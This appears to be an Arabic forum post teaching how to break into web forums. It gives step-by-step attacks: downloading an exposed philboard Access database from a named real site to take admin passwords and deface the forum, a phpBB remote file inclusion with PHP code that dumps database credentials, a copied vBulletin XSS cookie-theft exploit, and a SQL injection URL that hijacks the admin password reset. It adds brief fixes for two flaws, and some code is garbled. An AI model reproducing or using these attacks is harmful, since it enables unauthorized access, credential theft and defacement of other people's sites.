ثغرا معظم منتديات asp سأذكر احد الثغرات في بعض  اللغات الديناميكية
(asp) active server pages
وطبعا هذه اللغة وللأسف بها  ثغرات قوية جدا وخصوصا في التعامل مع قواعد بياناتها . 
بشكل مختصر هذه اللغة  تعتبر من لغات البرمجة الديناميكية التفاعلية لبرمجة مواقع الانترنت ولها ميزة بأن  الكود لها مخفي والكثير من الناس يفضلونها لانها مدعومة من ما يكروسوفت. 
وتعتمد  قواعد بياناتها على ثلاثة أنواع هي : 
sqlserver && sql && M.S  Access 
واما قاعدة بيانات ما يكروسوفت أكسس فثغراتها من أبسط الثغرات بحيث انك  اذا وجدت امتدادا واسم قاعدة البانات فقط فانك تستطيع تحميلها على جهازك مباشرة  وتصفح جميع الباسوردات بسهولة ويسر وبدون تشفير أيضا . 
واليكم المثال من أحد  المنتديات التي تتضح جليه بها هذه الثغرة وهي باسم philboard.asp 
مثل هذا  المنتدى http://www.khill.co.uk/forum/philboard.asp 
وطريقة ايجاد مثل هذا النوع منتديات اذهب الى جوجل كما ذكرنا سابقا وابحث عن  philboard 
وانتظر النتائج .... 
 
كيف تحمل قاعدة البيانات ؟ 
اكتب هذا  الامتداد 
وبعد ذلك حاول ان يكون المنتدى به عديد قليل من المواضيع حتى يكون حجم  قاعدة البيانات صغير جدا للتطبيق والتسليم بسرعة 
وهذا هو امتداد واسم قاعدة  البيانات لقاعدة البيانات 
database/philboard.mdb 
وتكتبه بعد اسم الموقع  والمنتدى مثل 
 http://www.khill.co.uk/forum/database/philboard.mdb 
 
ولا  بد لكي تقرا قاعدة البيانات ان يكون في جهازك برنامج ما يكروسوفت أكسس 
وبعد فتح  قاعدة البيانات ستجد بداخلها عدة جداول فيها جميع محتويات قاعدة البيانات 
من  ضمنها وهو المهم جدول المستخدمين ال
users 
وستجد اول اسم عالبا  هو
admin
وهو اسم المدير العام مع الباسوورد 
الآن وبعد ان حصلنا على  الاسم والباسوورد ماذا تبقى ؟ 
لم يبقى الى الدخول للوحة التحكم للمنتدى للتحكم  فيه وكأنك المشرف العام 
philboard_admin.asp
وهذا عنوانها 
مثال 
 http://www.khill.co.uk/forum/philboard_admin.asp 
ادخل وستجد كل منتدى وبجانبة كلمه 
delete و edit 
احذف كل المنتديات  وأنشا منتديات جديدة واكتب عليها 
hacked by xxxxxxxxxx 
xxxxxxx يعني اسمك  ,,, 
من وين ؟ 
من المربعين الموجودة بالاسفل في لوحة التحكم 
اكتب في  المستطيل 
hacked by xxxxxxxxxx 
وفي المربع الي اسفله ضع رسالة تود توجيهها  لاصحاب الموقع 
واضغط
add
يعني اضافة 
__________
والحل لهذه الثغرة  / هو تغيير مسار قواعد البيانات لكل منتدى او تغيير اسمها . فكما راينا ان  منتديات
philboard.asp 
قواعد بياناتها جميعا لها نفس الاسم والامتداد  
 
 طريقه ثانيه عبر ثغرا منتدى phpbb
عند  تركيبك لهاك الرد السريع 
سوف تجد هذا الكود 
if ( $mode == 'smilies' )  
{ 
define('IN_PHPBB', true); 
include($phpbb_root_path .  'extension.inc'); 
include($phpbb_root_path . 'common.'.$phpEx);  
include($phpbb_root_path . 'includes/functions_post.'.$phpEx);  
generate_smilies('window', PAGE_POSTING); 
exit; 
} 
دقق جيدا بهذا  الكود 
تم أنشاء ملف جديد سمه
extension.inc 
وضع داخلها مثلا شفرة  
<?php 
include('config'.'.php'); 
echo "DB Type: $dbms <br>";  
echo "DB Host: $dbhost <br>"; 
echo "DB Name: $dbname <br>";  
echo "DB User: $dbuser <br>"; 
echo "DB Pass: $dbpasswd  <br>"; 
exit; 
?> 
يمكنك وضع الخيارات التي تود مشاهدتها من  الهاك 
الآن وبكل سهولة بعد تنزيل
extension.inc
الى موقع يدعم البي اتش  بي 
أتجه الى هذا العنوان 
URL: http://[phpBB_Forum]/quick_reply.php?phpbb_root_path=http://[Your  Server]/&mode=smiles 
بسهولة أستبدل 
[phpBB_Forum] 
بعنوان المنتدى  المستهدف 
[Your Server] 
بعنوان الموقع الذي قمت بوضع الملف اللذي أنشائناه  به 
ماذا ترى؟؟؟ 
معلومات قاعدة البيانات بين ايديك 
الحل لهذه الثغرة  الخطيرة والتي شردت الكثير من المنتديات : 
ببساطة أفتح الملف  
quick_reply.php 
أبحث عن 
if ( $mode == 'smilies' ) 
أَضف بعدها  مباشرة 
phpbb_root_path = "./"; 
وانشاءالله انحلت المشكلة 
 طريقه ثالثه عبر منتديات vb 
أرجوا عدم استخدام الثغرة على  المسلمين وفيما يظر بالإسلام وفيما حرمه الله 
لكن هذي كانت على النسخة  التجريبية Beta 
بالنسبة للثغرة فهي واضحة 
وهي تستغل عن طريق الرسائل  private.php وتقوم بسرقة الكوكيز ولكن بشرط يكون مفعل كود الهتمل في المنتدى وصاحب  الثغرة يذكر انه قد يكون من الضروري تسجيل الدخول لك 
طبعا استغلالها عن طريق  تحويل الكود لملف html مع تغيير اسم الموقع ومجلد المنتدى  
http://[victim]/forum/private.php 
 
 
 
PHP:  
 
------------------------------------------------------------------------------From:  Ferruh Mavituna 
Subject: VBulletin Preview Message&nbs 
p;- XSS Vuln  
--------------------------------------- 
VBulletin Private  Message&nbs 
p;"Preview 
Message" XSS Vulnerability  
--------------------------------------- 
Any kind of XSS att 
acks  possibility. 
----------------------------------------------------- 
About  VBulletin; 
----------------------------------------------------- 
PHP  Based Popular Forum& 
nbsp;Application 
Vendor & Demo; 
<a  href="http://www.vbulletin.com/" target="_blank"><a  href="http://www.vbulletin.com/"  target="_blank">http://www.vbulletin.com/</a></a>  
 
--------------------------------------- 
Vulnerable;  
----------------------------------------------------- 
 
vBulletin  3.0.0 Beta 2 
<br />vBulletin 2.x  
--------------------------------------- 
Vendor Status;  
----------------------------------------------------- 
I can not contact  v 
endor for this issue ! No patch available at&nb 
sp;the moment;  
----------------------------------------------------- 
Solution;  
----------------------------------------------------- 
HTML Encoding like  post& 
nbsp;thread preview page;  
----------------------------------------------------- 
Exploit Code;  
----------------------------------------------------- 
<html>  
<body> 
<form action="http://[victim]/forum/private.php"&nbs  
p;method="post" 
name="vbform"> 
<input type="hidden" name="do"  value="insertpm" /> 
<input type="hidden" name="pmid" value="" />  
<input type="hidden" name="forward" value="" /> 
<input  type="hidden" name="receipt" value="0" /> 
<input type="text"  class="bginput" name="title" value="" size="40" 
tabindex="2" />  
<textarea name="message" rows="20" cols="70" wrap="virtual"  
tabindex="3"></textarea> 
<input type="submit" class="button"  name="sbutton" value="Post 
Message" 
accesskey="s" tabindex="4" />  
<input type="submit" class="button" value="Preview 
Message"  accesskey="p" 
name="preview" onclick="this.form.dopreview = true; return  
true;this.form.submit()" tabindex="5" > 
<input type="checkbox"  name="savecopy" value="1" id="cb_savecopy" 
checked="checked" />  
<input type="checkbox" name="signature" value="1" id="cb_signature" />  
<input type="checkbox" name="parseurl" value="1" id="cb_parseurl"  
checked="checked" /> 
<input type="checkbox" name="disablesmilies"  value="1" 
id="cb_disablesmilies" /> 
</form> 
**********  
//Set Values and Submit 
// You 
can write your own JS codes 
var  xss = "\">***************(********.coo 
kie)</script>";  
********.vbform.title.value=xss; 
********.vbform.preview.click();  
</script> 
</body> 
</html> 
*You may need login  first 
Ferruh Mavituna 
Web Application Security 
Consultant  
Freelance Developer & Designer 
<a  href="http://ferruh.mavituna.com" 
target="_blank"><a  href="http://ferruh.mavituna.com"  target="_blank">http://ferruh.mavituna.com/</a></a>  
 
 
 
 
 طريقة أخرى1. قم بالتسجيل كعضو مع  مراعاة التسجيل ببريد حقيقي 
2. تدخل المنتدى كعضو بأسم المستخدم وكلمة السر  الخاصة بك 
3. أضغط على زر ( الأعضاء ) الموجود بالأعلي أو 
members . 
أو  العنوان التفصيلي التالي : 
http://URL/memberlist.php 
URL = 
العنوان  المستضيف للمنتدى 
مثل4. أضغط على أي مستخدم من المستخدمين عشوائيا وستلاحظ ظهور  عنوان طويل بالأعلي في مستطيل العناوين
address bar . 
سيظهر لك عنوان يحمل  أرقاما وأحرفا عشوائية كالشكل التالي :  
http://URL/member.php?soitgoe68e45u...info&userid=266 
هذا العنوان  الطويل يعني = عرض بيانات المستخدم رقم 266 
5. بكل بساطة غير الرقم من 266 الى  الرقم واحد هكذا 
http://URL/member.php?soitgoe68e45u...etinfo&userid=1  
العضو رقم واحد عادة وأفتراضيا يكون هو المدير للمنتدى
administrator .  
(((== ها أنت تجتاز الخطوة الأولى بنجاح وتعرف من هو المدير للموقع == ))  
أحفظ أسم المدير حيث أنك ستحتاجه بالخطوة التالية 
6. أكتب العنوان التالي  مع تغيير المتغييرات التي ساذكرها :  
http://URL/member.php?action=login&...VALIDPASS&url=');'.$use  rs=$DB_site->query('update+user+set+email='YOUR@EMAIL.HERE'+  WH  ERE+username='ADMIN'').' 
العنوان هذا ستقوم بتغيير الكلمات التالية 
URL  =
كما ذكرنا سابقا الموقع المستضيف للمنتدى 
VALIDUSER =
أسم المستخدم  الخاص بك 
VALIDPASS = 
كلمة السر الخاصة بك 
YOUR@EMAIL.HERE =
البريد  الذي سجلت به بالمنتدى 
ADMIN =
أسم مدير المنتدى ( الذي أكتفشته بالخطوة  السابقة ) 
7. بعد أن تغيير جميع ما سبق وتتأكد منه تقوم بعمل أنعاش للمنتدى عدة  مرات ******* . 
8. ثم ترجع لصفحة المنتدى الرئيسية 
http://url/index.php  
ثم حاول الدخول بأستخدام أسم المستخدم الخاص بك وأستعمال كلمة سر خاطئة ( يجب  أن تكون خاطئة ) . 
بالطيع ستظهر لك الصفحة التعيسة التي تقول : 
أنت قمت  بكتابة كلمة سر خاطئة 
you typed in the wrong password 
9. بكل بساطة أضغط  على 
نسيت كلمة السر 
forgot password 
والتي ستقوم بأرسال كلمة السر الى  بريدك الألكتروني 
10. أفتح بريدك وستجد كلمة السر الخاصة بمدير المنتدى  
ملاحظة هذه الطريقة قديمة وأغلب المنتديات قاموا بإغلاق هذه الثغرة يعني لا  تستطيع فعلها إلا مع منتديات اليوم
 
 يتبع  
],vm YojvNr lkj]dNj vb